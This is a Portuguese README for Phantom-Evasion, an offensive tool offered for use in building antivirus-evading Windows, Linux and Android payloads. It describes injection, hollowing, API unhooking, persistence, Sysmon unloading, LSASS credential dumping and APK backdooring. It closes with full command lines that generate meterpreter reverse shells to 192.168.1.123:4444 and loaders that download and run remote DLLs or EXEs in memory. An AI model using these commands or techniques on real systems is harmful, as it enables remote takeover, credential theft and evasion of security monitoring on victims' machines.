
Ferramenta de evasão de antivírus em Python
Phantom-Evasion é uma ferramenta de evasão de antivírus escrita em Python (compatível com Python e Python3) capaz de gerar executáveis (quase) totalmente indetectáveis, mesmo com os payloads x86 mais comuns do msfvenom.
Os seguintes SOs suportam configuração automática oficialmente:
Os seguintes SOs provavelmente suportam configuração automática, mas exigem instalação manual do metasploit-framework:
Os seguintes SOs exigem configuração manual:
Simplesmente faça git clone ou baixe e descompacte a pasta Phantom-Evasion
Configuração automática, abra um terminal e execute:
python3 phantom-evasion.py --setup
ou:
chmod +x ./phantom-evasion.py
./phantom-evasion.py --setup
ou inicie o phantom-evasion em modo interativo e selecione a opção 7
python3 phantom-evasion.py
ou:
./phantom-evasion.py
python3 phantom-evasion.py --help
ou:
./phantom-evasion.py --help
-Todos os módulos C de payload do Windows podem ser compilados (suportam x86 e x64) como EXE ou DLL/ReflectiveDLL.
-Injeção de junkcode randomizada (intensidade, frequência e probabilidade de reinjeção podem ser definidas) e técnicas de evasão de antivírus do Windows (frequência pode ser definida).
-Criptografia Multibyte Xor/Vigenere de shellcode/arquivo suportada tanto nos módulos de injeção de shellcode quanto nos módulos Donwload Exec.
-Técnicas de Ntdll unhookapi e disfarce de processo Peb suportadas.
-Ampla gama de modos de execução suportados (local e remoto).
-Ampla gama de modos de alocação de memória de payload (Virtual_RWX, Virtual_RW/RX, Virtual_RW/RWX, Heap_RWX).
-Carregamento dinâmico de API do Windows pode ser definido.
-Spoofer e assinador de certificado suportados.
-Strip executável (https://en.wikipedia.org/wiki/Strip_(Unix))
Payloads do Windows do msfvenom e shellcode personalizado suportados.
Shellcode pode ser armazenado como recurso e recuperado em tempo de execução com a API FindResource.
Criptografia de shellcode suportada:
1.nenhum
2.Multibyte-Xor
3.Multibyte-Xor de chave dupla
4.Vigenere
5.Vigenere de chave dupla
O método de execução local pode ser um dos seguintes:
Thread
APC
O modo de alocação de memória local pode ser um dos seguintes:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Heap_RWX
O método de execução remota pode ser um dos seguintes:
ThreadExecutionHijack (abreviado como TEH)
Processinject (abreviado como PI)
APCSpray (abreviado como APCS)
EarlyBird (abreviado como EB)
EntryPointHijack (abreviado como EPH)
O modo de alocação de memória remota pode ser um dos seguintes:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Módulos stager meterpreter C puro (TCP/HTTP/HTTPS) compatíveis com msfconsole e cobalt strike beacon. (reverse_tcp/reverse_http/reverse_https)
Usando o modo linha de comando:
stager c reverse_tcp é WRT
stager c reverse_http é WRH
stager c reverse_https é WRS
O método de execução local pode ser um dos seguintes:
Thread
APC
O modo de alocação de memória local pode ser um dos seguintes:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Heap_RX
Baixe exe/dll da URL fornecida na memória e execute/carregue no processo remoto (sem gravar no disco).
Download criptografado de EXE/DLL suportado:
1.nenhum
2.Multibyte-Xor
3.Multibyte-Xor de chave dupla
4.Vigenere
5.Vigenere de chave dupla
A DLL/EXE criptografada será salva como nomedoarquivooriginal + "crypt" + ".dll" ou ".exe", este é o arquivo a ser baixado
Windows DownloadExecExe NoDiskWrite (WDE usando modo linha de comando):
O método de execução remota pode ser um dos seguintes:
ProcessHollowing (abreviado como PH)
Windows DownloadExecDll NoDiskWrite (WDD usando modo linha de comando):
O método de carregamento remoto pode ser um dos seguintes:
ReflectiveDll (abreviado como RD)
RDAPC (ReflectiveDllAPC)
ManualMap (abreviado como MM) ---> apenas x86
Payloads Linux do msfvenom e shellcodes personalizados suportados.
Backdoor Android Msfvenom Ofuscado:
Ofusque payloads do msfvenom e reconstrua (smali/baksmali) com apktool. O payload ofuscado pode ser usado para backdoor em arquivos apk benignos.
Persistência Windows RegCreateKeyExW Adicionar Chave de Registro (C) O executável compilado precisa ser enviado para a máquina alvo e executado especificando o caminho completo do arquivo a ser adicionado à inicialização como argumento.
Persistência Windows REG Adicionar Chave de Registro (CMD) Este módulo gera payloads de persistência via linha de comando (Adicionar Chave de Registro via REG.exe).
Persistência Windows Manter Processo Ativo (C) O executável compilado precisa ser enviado para a máquina alvo e executado. Use CreateToolSnapshoot ProcessFirst e ProcessNext para verificar se o processo especificado está ativo a cada X segundos (se não, crie um novo processo usando a API WinExec)
Persistência Windows Schtasks (CMD)
Este módulo gera payloads de persistência via linha de comando (usando Schtasks.exe).
Persistência Windows Criar Serviço (CMD)
Este módulo gera payloads de persistência via linha de comando (usando sc.exe).
Windows DuplicateTokenEx (C)
Crie um novo processo com um token clonado de outro processo. O executável compilado precisa ser enviado para a máquina alvo e executado.
Windows Descarregar Sysmon (C) Descarregar o driver sysmon, fazendo com que o sistema pare de gravar logs de eventos do sysmon. O executável compilado precisa ser enviado para a máquina alvo e executado.
Windows Descarregar Sysmon (CMD) Descarregar o driver sysmon, fazendo com que o sistema pare de gravar logs de eventos do sysmon.
Windows Attrib ocultar arquivo (CMD) Use attrib para ocultar arquivo
Windows SetFileAttribute oculto (C) Ocultar arquivo usando a API SetFileAttribute O executável compilado precisa ser enviado para a máquina alvo e executado.
Windows DumpLsass (C) Despejar Lsass usando a API MiniWriteDumpWrite. O executável compilado precisa ser enviado para a máquina alvo e executado.
Windows DumpLsass (CMD)
Despejar Lsass da linha de comando.
python3 phantom-evasion.py -m WSI -msfp windows/meterpreter/reverse_tcp -H 192.168.1.123 -P 4444 -i Thread -e 4 -mem Virtual_RWX -j 1 -J 15 -jr 0 -E 5 -c www.windows.com:443 -f exe -o filename.exe
python3 phantom-evasion.py -m WSI -msfp windows/x64/meterpreter/reverse_tcp -a x64 -H 192.168.1.123 -P 4444 -tp SkypeApp.exe -i PI -e 3 -mem Virtual_RW/RX -j 1 -J 15 -jr 0 -E 5 -f dll -R -o filename.dll
python3 phantom-evasion.py -m WSI -msfp windows/x64/meterpreter/reverse_tcp -a x64 -H 192.168.1.123 -P 4444 -tp svchost.exe -i EB -e 2 -mem Virtual_RW/RX -j 1 -J 15 -jr 0 -E 5 -f dll -res -S -o filename.dll
python3 phantom-evasion.py -m WRS -a x64 -H 192.168.1.123 -P 4444 -i Thread -mem Heap_RWX -j 1 -J 15 -jr 0 -E 5 -f dll -S -o filename.dll
python3 phantom-evasion.py -m WDD -U http://192.168.1.123/payload.dll -i MM -tp OneDrive.exe -ds 1000000 -j 10 -J 10 -jr 0 -E 10 -f exe -S -o filename.exe
python3 phantom-evasion.py -m WDE -U http://192.168.1.123/payloadcrypt.exe -e 4 -ef payload.exe -i PH -tp svchost.exe -ds 1000000 -j 1 -J 5 -jr 0 -E 3 -f dll -R -S -o filename.dll
GPLv3.0
https://github.com/stephenfewer/ReflectiveDLLInjection
https://github.com/rsmudge/metasploit-loader
https://github.com/theevilbit/injection
http://www.rohitab.com/discuss/topic/40761-manual-dll-injection/
https://wikileaks.org/ciav7p1/cms/files/BypassAVDynamics.pdf